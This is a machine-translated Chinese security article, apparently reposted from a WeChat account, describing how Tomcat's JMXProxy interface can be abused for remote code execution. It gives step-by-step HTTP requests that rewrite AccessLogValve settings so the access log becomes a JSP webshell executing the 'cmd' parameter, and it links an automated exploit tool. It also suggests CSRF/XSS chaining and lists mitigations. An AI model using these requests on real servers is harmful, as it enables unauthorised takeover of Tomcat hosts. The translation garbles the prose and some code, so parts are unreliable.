0x00 前言
在介绍该利用方式之前有必要先进行一些说明
(1)不影响默认配置的Tomcat
(2)不影响通过jar
部署的SpringBoot
(3)作为利用链中的一环,可以利用平台未授权访问或弱授权直接利用
我该利用方式的第一时间Tomcat
报告并使用上千字来描述发现利用方式和危害性
然而Tomcat
官方认为这不是安全漏洞,如果能够利用,完全应该由用户来负责
大致来看,利用手段如下图:
0x01 经理
Tomcat
一直存在一个“漏洞”的漏洞:导致不是Tomcat Manager
上传war
解压生成webshell
的RCE
在tomcat/conf/tomcat-users.xml
配置中
<用户用户 名= “管理员” 密码= “<必须更改>” 角色= “经理-gui” />
访问/manager/html
输入用户名和密码,自动在里面上传war
进行部署
显然这不归Tomcat
负责,应该由用户保证自己的账号和密码安全
Tomcat
Manager
为的管理采用了作者名作HTTP Basic
认证,也就是用户名作认证后的Base64
保护。
如果想要强行破解这个认证其实是有可能的,因为Tomcat
已经考虑到这个问题:参考LockOutRealm
类的代码,默认在输入错误5次后会锁定5分钟。这Tomcat
也是官方拒绝该漏洞的原因之一,他们认为基于JMXProxy
实现的RCE
攻击和类似的,由用户负责安全
public class LockOutRealm extends CombinedRealm {
/** * 用户连续认证失败的次数 * 被锁定。默认为 5。 */
protected int failureCount = 5 ;
/** * 身份验证失败次数 过多后用户被锁定的时间(以秒为单位) 。默认为 300(5 分钟)。 */
受保护的 int lockOutTime = 300 ; }
真正值得一提的是:并Tomcat
支持管理页面,同时支持API
和家具JMXProxy
如果API
可能无法访问导致P严重的安全问题(和牛聊天提到点,在某次CTF中出现)
使用API
的方式是:http://{host}:{port}/manager/text/{command}?{parameters}
部署使用API
包WAR
:
http://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo
如何使用JMXProxy
是RCE
本文的重点内容
一般安全研究人员并不会JMXProxy
仅用于发现什么安全问题,因为官方描述中该功能监控
0x02 JMX
JMX
与Tomcat
特殊情况,在Java
官方文档中JMX
适用于:
JMX( Java Management Extensions
)是一个为任何应用程序用户管理功能的框架。JMX
是标准的代理和服务,实际上,可以在Java
应用程序中使用代理和服务实现管理
用话:JMX
让程序的,那么例如某Web
网站是在24小时内有功能进行管理的,并且是对网站进行管理的;或者在业务高峰的过程中,想对网站进行管理,就可以了必须修改接口的配置值
一般JMX
会通过Adapter
实现Web
管理页面,例如Zabbix
和Nagios
其他工具JVM
的监控实现,老一些的平台JDMK
和MX4J
等
┌──────────┐ ┌──────────┐
│jconsole │ │ 网页 │
└──────────┘ └──────────┘
│ │┌ ─ ─ ─ ─│─ ─ ─ ─ ─ ─ ┼ ─ ─ ─ ─
JVM ▼ ▼ ││ ┌─────────┐ ┌──────────┐
┌─┤连接器├──┤适配器├─┐ ││ │ └─────────┘ └──────────┘ │
│ MBeanServer │ ││ │ ┌──────┐┌──────┐┌──────┐ │
└─┤MBean1├┤MBean2├┤MBean3├─┘ ││ └──────┘└──────┘└──────┘
── ── ── ── ── ── ── ── ── ── ── ─ ── ┘
实例结合,我开始了一个监测MX4J
平台
进入其中的ClassLoading
属性观察:监控到类的属性,并且修改部分值可以在运行时进行
在网上进行搜索可以发现类似的JMX
管理页面,我们可以实时修改大量JVM
内部的一些属性
但这种修改的情况下,大多数情况下是无意义的,顶多由于某些属性通过空指针导致没有服务这样的鸡肋
因此,研究的JMX
变化RCE
是通过比较研究来比较研究的
0x03 JMX代理
是本文的重点,在Tomcat Manager
中还有一种特殊的礼仪管理:JMX Proxy Servlet
参考Tomcat 9.0官方文档中的描述,翻译后为:
JMX Proxy Servlet
是一个量级级别,用于和设置Tomcat
内部或任何MBean
公开的。它的不是非常友好,但已经可以通过使用监控类访问界面以监视和更改Tomcat
的内部使用非常有帮助。做两件事:信息和设置信息。要真正了解 JMX Proxy Servlet,你应该对 JMX 有一个了解这个大致了解的词。如果你不知道 JMX 是什么,那么请准备好被迷惑(不知道怎么confused
解释用迷惑了)
理解用户JMX
的描述能力,用户可能不说可能的问题,应该是通过对概念Tomcat
给出JMX
的,而一般不是直接手动提供的管理,而是会选择或者通过平台进行管理,正则是这个原因导致该漏洞有实际的危害Agent
API
参考示例,例如我们需要运行时的大量内存使用监控情况
http://webserver/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
执行后得到的结果
好的 - 属性获取 'java.lang:type=Memory' - HeapMemoryUsage = javax.management.openmbean.CompositeDataSupport// ......内容={提交=308281344,初始化=534773760,最大值=7602176000,使用=106332232})
可以监控JVM
属性也可以修改JVM
中的一些属性,例如JMX
情节篇中提到的一个场景:
在业务高峰的时候,想对接口进行限流,就必须去修改期间的配置值。
在JMXProxy
中也提供了修改一些变量的方法
http://webserver/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
参数:
-
set: 目标的
BEANNAME
(类似的类名) -
att:目标的属性(类似类中的字段属性)
-
val: 需要修改的新值
另外支持命令函数,不过这一点我并没有做深入研究(可能某些特殊命令组合存在漏洞?)
http://webserver/manager/jmxproxy/?invoke=BEANNAME&op=方法名&ps=参数
总结:
JMXProxy
提供Tomcat
的JMX
接口给平台分析和管理
监控和Tomcat
支持内部部分变量的修改用于
0x04 RCE
本节内容是针对Tomcat
的JMXProxy
如何实现RCE
换句话来说:哪些JMXProxy
支持修改的属性被修改后可以修改RCE
肉眼审计,我发现了一个有趣的类(Spring RCE
有似有似无的师傅应该第一眼看到出来)
访问日志阀
描述JXMProxy
信息如下,重点关注属性:
-
前缀:访问日志
-
模式:访问日志格式
-
后缀:访问日志后缀
-
目录:访问日志目录
-
文件日期格式:访问日志名日期格式
名称:Catalina:type=Valve,host=localhost,name=AccessLogValvemodelerType:org.apache.tomcat.util.modeler.BaseModelMBean可旋转:真检查存在:假前缀:localhost_access_log模式:%h %l %u %t "%r" %s %b类名:org.apache.catalina.valves.AccessLogValve语言环境:zh_CN后缀:.txt目录:日志启用:真状态名称:已开始缓冲:真异步支持:真重命名旋转:假文件日期格式:.yyyy-MM-dd
假设几个属性可以被设置,那么下面的RCE
路线就很简单了
我测试了每一个属性,发现都可以成功修改
RCE
的思路如下:
-
修改日志格式为:每一条新日志都变成了一句话
-
注意不能包含特殊符号,所以使用
%{header}i
从请求头中提取<%
等特殊符号 -
修改日志后缀为:JSP
-
修改备注为:shell(只要可以独立在意具体是什么)
-
修改日志目录为可以解析JSP的目录:例如默认的
webapps/ROOT
-
修改日志文件名时间格式的目的是使
rotate
创建新文件,写入JSP
马 -
彩虹特殊请求头的请求能够写入
Webshell
前期:
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d% 65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65% 73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20% 25%7b%73%7d%69 HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭授权: 基本 BASE64(用户名:密码)
这里有一个细节:要求其中的val
参数为所有的URL
编码
%{ p } i 运行时。获取运行时间()。exec ( request.getParameter ( " cmd " )); % { }我
剧情和结局的特殊符号从请求头的p
和s
中获取
第二步:
修改日志后缀为:JSP
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp HTTP / 1.1 Host : 127.0.0.1:8080 Connection : close Authorization : Basic BASE64(username:password)
第三步:
修改时间日志格式为:shell(当空时文件名就是shell.jsp了)
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭授权: 基本 BASE64(用户名:密码)
第四步:
修改日志存储目录到可解析JSP
的目录:webapps/ROOT
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT HTTP / 1.1 Host : 127.0.0.1:8080 Connection : close Authorization : Basic BASE64(username:password)
第五步:
修改日志文件名 日期格式的目的是:触发AccessLogValve
的rotate
功能
在log
日志记录信息的第一行调用rotate
方法
公共 无效 日志(CharArrayWriter 消息) {
旋转();
// ... }
跟入rotate
方法
public void rotate () {
// ...
String tsDate ;
// 检查日期的变化
tsDate = fileDateFormatter . 格式(新 日期(系统时间));
// 如果日期改变了,切换日志文件
if (! dateStamp .equals ( tsDate ) ) { close ( true ) ; dateStamp = tsDate ; 打开();} // ... }
跟入open
方法如果新的fileDateFormatter
不同则FileOutputStream
写入新文件
protected synchronized void open () {
// 打开当前日志文件
// 如果没有旋转 - 文件名中不需要 dateStamp
文件 pathname = getLogFile ( rotatable && ! renameOnRotate );
// ...
writer = new PrintWriter ( new BufferedWriter ( new OutputStreamWriter (
new FileOutputStream ( pathname , true ), charset ), 128000 ),
false );
// ... }
新日志文件名来自于prefix
和sufix
的外表
private File getLogFile ( boolean useDateStamp ) {
// ...
File dir = getDirectoryFile ();
// ...
pathname = new File ( dir .getAbsoluteFile (), prefix + suffix ) ; // ...返回路径名; }
发送请求Payload
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val= HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭授权: 基本 BASE64(用户名:密码)
第六步:
发送短信p
和s
请求头的请求,成功写入语句
GET / HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭p : <% s : %>//
RCE:
GET /shell.jsp?cmd=calc.exe HTTP / 1.1主机: 127.0.0.1 :8080连接: 关闭
我将发包以上的过程自动化,成功利用
0x05 实战
虽然说RCE
成功但是:需要有基础认证才能触发漏洞
目前看来这只是一种鸡肋的幕后RCE
手段,有必要研究一下实际的利用
-
直接的联想是:
Manager
弱弱的女生,这个没有讨论的必要性 -
是否可以不认证就利用(利用平台)
值得说明的一点是:黑盒情况下不能确定其他平台监控管理是否基于JMXProxy
-
某平台
JMXProxy
提供的类似假设API
是基于一个假设 -
假设某个平台并不但是基于
JMXProxy
可以修改AccessLogValve
属性同样可以RCE
因此,只要参考平台是否基于JMXProxy
目标,就可以实现数据智能(监控RCE
上图)实现
通过一些方法我找到了最新的平台,上述利用方式可以成功管理利用
再看看其他的,着着基于Java
的Web
服务,9%的人在Tomcat
出现下面9个不开多写了
另外在的文件中写明Apache Tomcat
:只有受到保护而不受保护manager-gui
CSRF
JMX
HTML 界面受到 CSRF(跨站请求伪造)攻击的保护但是无法保护文本和 JMX 接口。
因此,很容易因为相反更容易CSRF
被CSRF+XSS
利用JMX
GET
存在漏洞XSS
的情况下,容易利用
0x07 修复
我向Tomcat
官方建议的修复方案是:
-
在文档中明确说明:
JMXProxy
存在RCE
的安全风险 -
AccessLogValve
属性的修改或者设置为对世界的毁灭 -
业务需要不能限制功能的话,绝对不能限制
suffix
为.jsp
等可被解析执行的后缀
他们Tomcat
官方并没有采纳,他们不认为这是漏洞
对于实际的项目而言,修复方案如下:
-
如果开启
manager-jmx
功能设置强密码 -
如果使用了访问
MX4J
等平台对JMX
未进行管理,检查是否可以授权 -
如果写自己基于
Tomcat
的JMX
管理功能,应该对AccessLogValve
属性进行限制
0x08 总结
我写了一个自动利用的工具:https://github.com/4ra1n/tomcat-jmxproxy-rce-exp
在tomcat/conf/tomcat-users.xml
配置中
<用户用户 名= “admin” 密码= “123456” 角色= “manager-jmx” />
修改config.ini
利用文件,然后随时可以复现
#目标ip主机= 127.0.0.1 #目标端口port = 8080 #目标tomcat jmxproxy用户名username = admin #目标tomcat jmxproxy密码密码= 123456 #执行命令cmd = calc.exe
执行EXP
程序:./tomcat-jmxproxy-rce-exp
正如所说,虽然官方不承认,但我认为该漏洞有一些更大的Tomcat
危害Tomcat
RCE CVE
官方否定漏洞的原因是:
-
用户必须开启
manager
功能,默认Tomcat
中为关闭的 -
用户必须暴漏
manager/jmxproxy
到公网 -
用户必须使用了弱日
-
如果是非弱弱的情况下
Tomcat
已经LockOutRealm
可以防御
事实上,他们没有考虑到平台的Tomcat
原因,但他们没有考虑到平台的影响和后果
比如今天的Tomcat Session RCE
条件同样高,甚至需要根据文件上传漏洞,实战价值未必大
个人JMXProxy
漏洞虽然有限制条件,但在整个漏洞利用该限制条件时可以被视为链中的
后来我过官方:
Tomcat Session RCE
在实战中遭遇,或者是极端小英雄,但是你们认可
通过JMX
平台未授权造成RCE
的案例有很多
从实际危害来看,显然我报告的漏洞存在的认可和风险,为什么不有害
官方回复很简单:不管有多大的错误,你说的都是用户的错误,不是Tomcat
的
从另一个角度来看,利用方式可以从理解为未授权访问或越权访问
-
使用
manager-gui
是最高权限,可以直接启动停止和部署战包 -
使用
manager-jmx
监控和权限较低,实际上只能修改部分变量
如果一个用户可以通过一些方法manager-jmx
(例如RCE
)达到manager-gui
能够做的事情,这是否可以认为是一种漏洞?
如果我最初提交Tomcat
的报告这样来写,会不会得到认可?
来源:先知(https://xz.aliyun.com/t/11450#toc-0)
注:如有绘画请联系删除
欢迎大家一起加群讨论学习和交流
快乐要懂得分享,
加倍的快乐。
原文始发于微信公众号(衡阳信安):Tomcat的一种利用方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论